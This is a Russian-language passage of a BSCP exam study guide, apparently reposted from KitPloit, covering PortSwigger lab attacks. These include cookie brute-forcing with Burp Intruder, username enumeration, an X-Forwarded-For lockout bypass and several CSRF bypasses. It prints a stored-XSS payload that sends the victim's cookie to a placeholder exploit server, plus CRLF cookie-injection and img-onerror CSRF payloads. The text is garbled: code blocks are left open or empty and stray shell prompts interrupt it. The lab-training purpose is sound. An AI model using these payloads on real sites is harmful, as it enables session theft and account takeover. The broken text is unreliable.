>Шаги эксплуатации ниже, а также правила обработки Payload в Intruder по порядку, включая опцию GREP, перед началом атаки.  
  
1. Выйдите из системы как текущий пользователь.  
2. Отправьте последний запрос GET /my-account в Burp Intruder.  
3. Выберите cookie: ```stay-logged-in``` в качестве позиции инъекции.  
4. Хеш: ```MD5```  
5. Добавьте префикс: ```carlos:```  
6. Кодирование: ```Base64-encode```  
7. Добавьте **GREP** на вкладке Settings, чтобы проверить в ответе наличие строки ```Update email```, указывающей на успешный вход.  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[PortSwigger Lab: Брутфорс cookie stay-logged-in](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### Офлайн-взлом Stay-logged-in  
  
>Функция комментариев blog-приложения уязвима для [хранимого XSS](#stored-xss); используйте приведённый ниже payload в комментарии к блогу, чтобы отправить сессионный cookie Carlos на exploit-сервер.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

Декодируйте значение cookie stay-logged-in из Base64 и воспользуйтесь онлайн-базой для взлома хэшей MD5.

stay-logged-in офлайн

Лаборатория PortSwigger: офлайн-взлом паролей

Вход с защитой от перебора

Обнаружена защита от перебора при входе, когда серверная часть применяет 30-минутный бан, что приводит к блокировке IP после слишком большого количества неудачных попыток входа. Проверка заголовка X-Forwarded-For: приводит к обходу защиты от перебора. Наблюдая за временем ответа при длинном неверном пароле, можно использовать технику Pitchfork, чтобы определить сначала действительные имена пользователей со случайным длинным паролем, а затем повторно запустить Intruder с Pitchfork, настроив каждую позицию атаки так, чтобы она перебирала все наборы одновременно.

Burp Lab: списки слов для фаззинга имён пользователей, паролей и каталогов

Позиция 1 полезной нагрузки — IP-адрес для заголовка X-Forwarded-For:, а позиция 2 — имя пользователя с длинным паролем, чтобы увидеть задержку времени ответа в окне столбцов атаки.``` X-Forwarded-For: 12.13.14.15

root@kitploit:~
![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>Повторите описанную выше атаку Intruder типа **Pitchfork** на поле пароля, а затем ***определите*** действительный пароль по столбцу статуса с результатом 302.  

[PortSwigger Lab: Перечисление имен пользователей по времени ответа](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  
  
### Едва заметный неверный вход  

>***Определите***, что страница входа и сброс пароля не защищены от атаки перебором и что для неверного имени пользователя или пароля не применяется блокировка по IP или тайм-аут.  

>Совет для экзамена BSCP: иногда существует другой пользователь со слабым паролем, которого можно подобрать перебором. Carlos не всегда является учетной записью, на которую следует нацелиться для получения первоначального доступа на этапе 1.  

![Subtly invalid login](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>Обратите внимание на столбец атаки Intruder для значения GREP: ```Invalid username or password.``` одно ответное сообщение при неудачной атаке на имя пользователя не содержит точки в конце. Повторите атаку с этим ***определенным*** именем пользователя и атаку **Sniper** на поле пароля, чтобы ***определить*** ответ ```302``` для действительного входа.  
  
![Refresh Password](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>На экзамене BSCP ***обращайте внимание*** на другие возвращаемые сообщения, которые отличаются и раскрывают действительные учетные записи в приложении, а также позволяют ***определить*** пароли учетных записей перебором, например, в функции [сброса пароля](#refresh-password-broken-logic).  
  
>Как только действительное имя пользователя идентифицировано по другому ответному сообщению, выполните [перебор](#brute-force) пароля с помощью Burp Intruder.  

[PortSwigger Lab: Перечисление имен пользователей через незначительно отличающиеся ответы](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>Еще один сценарий определения действительного имени пользователя в веб-приложении — указать список имен пользователей при входе и одно неверное значение пароля. В результатах атаки Intruder один ответ будет содержать сообщение `Incorrect password`.  
>Позиция внедрения для атаки Intruder: `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[PortSwigger Lab: Перечисление имен пользователей через разные ответы](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  
  
-----

## Аутентификация  

[Регистрация учетной записи](#account-registration)  
[Макрос обхода токена аутентификации](#auth-token-bypass-macro)  
  
### Регистрация учетной записи  

>Ошибка бизнес-логики в функции регистрации учетной записи позволяет получить первоначальный доступ с правами целевого пользователя. [Обнаружение контента](#content-discovery) находит путь ```/admin```; сообщение гласит, что интерфейс администратора доступен только при входе в систему под пользователем **DontWannaCry**.  

![Register length flaw](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>Создание адреса электронной почты, содержащего более 200 символов перед символом ```@```, приводит к его усечению до 255 символов. Это ***выявляет*** уязвимость — **ошибку** в логике страницы регистрации учетной записи. В приведенном ниже адресе электронной почты символ ```m``` в конце ```@dontwannacry.com``` является ровно 255-м символом.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

Inconsistent-handling-exceptional-input

PortSwigger Lab: Непоследовательная обработка исключительного ввода

Обход Auth Token с помощью макроса

Если вход в систему защищён от перебора с помощью случайного токена, который используется при каждом POST-запросе входа, макрос Burp можно использовать для обхода защиты.

Создание макроса Burp

  1. Откройте настройки Proxy и выберите sessions в разделе Project choices.
  2. Прокрутите вниз до Macros и добавьте новый макрос.
  3. Выберите request из списка, чтобы использовать его в качестве значения.
  4. Нажмите Configure item и добавьте пользовательское расположение параметра для извлечения.
  5. Нажмите OK, чтобы вернуться к Sessions в разделе Project choices.
  6. Добавьте правило обработки сессий (Session handling), и откроется диалоговое окно редактора.
  7. В диалоговом окне перейдите на вкладку "Scope".
  8. В разделе scope для редактора правила обработки сессий отметьте Target, Intruder и Repeater.
  9. В разделе "URL Scope" выберите Include all URLs.
  10. Закройте Settings.

Как создать макрос в Burp Suite Professional

PortSwigger Lab: Логическая ошибка бесконечных денег — как создать макрос Burp


Повышение привилегий

CSRF-захват аккаунта

OAuth
CSRF с проверкой Referer
Наличие заголовка Referer
LastSearchTerm
CSRF, дублированный в cookie
Наличие CSRF-токена
Выполнен ли вход
CSRF без защиты
Обход SameSite Strict
Обход SameSite Lax

Уязвимость межсайтовой подделки запросов (Cross-Site Request Forgery) позволяет атакующему заставить пользователей выполнять действия, которые они не намеревались выполнять. Это может позволить атакующему изменить адрес электронной почты жертвы и использовать сброс пароля для захвата учетной записи.

OAuth

Эксплойт связывания OAuth: разместите iframe на эксплойт-сервере, затем передайте его жертве, заставив пользователя обновить связанный код.

csrf

Перехватите запрос GET /oauth-linking?code=[...]. Отправьте в Repeater, чтобы сохранить код. Сбросьте запрос. Важно убедиться, что код не использован и остаётся действительным. Сохраните на эксплойт-сервере iframe, в котором атрибут src указывает на URL, который вы только что скопировали.```html

root@kitploit:~
[Лаборатория PortSwigger: принудительная привязка профиля OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  
  
### Проверка CSRF через Referer  

>***Определите***, что функция изменения адреса электронной почты уязвима к CSRF, наблюдая, что при изменении значения заголовка **Referer** ответ содержит сообщение `Invalid referer header`, и изменение email принимается, когда значение referrer содержит ожидаемый целевой домен где-либо в значении.  

![определение проверки заголовка Referer для CSRF](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>Добавление исходного домена цели и добавление `history.pushState('', '', '/?TARGET.net');` к **заголовку Referer** в виде строки запроса позволяет обновить адрес электронной почты.```html
Referrer-Policy: unsafe-url

Примечание: В отличие от обычного написания заголовка Referer, слово «referrer» в приведённом выше разделе head сервера эксплойта должно быть написано правильно.

Referer csrf

Создайте CSRF-эксплойт proof of concept и разместите его на сервере эксплойта. Измените JavaScript так, чтобы третий аргумент функции history.pushState() содержал строку запроса с целевым URL.```html

Лаборатория PortSwigger: CSRF с нарушенной проверкой Referer

Заголовок Referer присутствует

В запросе на обновление email при изменении заголовка referer ответ указывает Invalid referer header, что указывает на CSRF-уязвимость. Используя <meta name="referrer" content="no-referrer"> как часть CSRF PoC на сервере эксплойта, эту защиту можно обойти. Это предписывает серверу эксплойта доставить эксплойт жертве без заголовка referer.```html

csrf referer present

PortSwigger Lab: CSRF, где проверка Referer зависит от наличия заголовка

LastSearchTerm

Определите CSRF-уязвимость, в которой токен не привязан к несессионному cookie, изменив cookie csrfkey и увидев, что запрос отклоняется. Обратите внимание на значение cookie LastSearchTerm, содержащее введённые пользователем данные из параметра поиска.

identify-csrf-non-session-tied.png

Поисковая функция не имеет защиты от CSRF, создайте приведённый ниже payload, который внедряет символы новой строки %0d%0a для установки нового значения cookie в ответе, и используйте это для внедрения cookie в браузер жертвы.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None

root@kitploit:~
>Сгенерируйте CSRF POC, включите опцию добавления скрипта **auto-submit** и нажмите **Regenerate**. Удалите блок кода скрипта **auto-submit** и добавьте вместо него следующее, затем разместите код скрипта ```history.pushState``` ниже заголовка body. **onerror** тега IMG SRC вместо этого отправит CSRF POC.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

Во время сдачи экзамена BSCP установите значение смены email на адрес эксплойт-сервера [email protected]. Затем вы можете изменить пароль администратора с помощью функции сброса.

csrf set cookie poc

В приведённом ниже коде CSRF PoC скрытое значение csrf — это значение, сгенерированное функцией смены email, а значение csrfkey в img src — это значение жертвы, полученное при входе под предоставленными учётными данными жертвы. Не уверен насчёт экзамена, но в реальном мире этот тест следует выполнить.```html

CSRF, продублированный в cookie

В целевой системе мы обнаруживаем, что ключевой токен CSRF дублируется в значении cookie. Ещё одним индикатором является cookie LastSearchTerm, в которой содержится искомое значение. Передавая поисковое значение, содержащее %0d%0a, мы можем внедрить символы конца строки и перевода строки, чтобы создать новую cookie и значение CSRF.

установка поддельного cookie csrf

В коде эксплойта в теге img src мы устанавливаем для csrf поддельное значение cookie.```html

PortSwigger Lab: CSRF где токен дублируется в cookie

Наличие CSRF-токена

Изменение значения параметра csrf приводит к отклонению запроса на смену email. Удаление CSRF-токена позволяет принять запрос на смену email, и это указывает на то, что проверка наличия токена уязвима.

CSRF PoC Payload, размещённый на эксплойт-сервере:```html

Лаборатория PortSwigger: CSRF, где проверка токена зависит от наличия токена

Выполнен ли вход

Если cookie с именем isloggedin обнаружен, то POST-запрос на смену пароля администратора может быть использован.


Read more

Скачать инструмент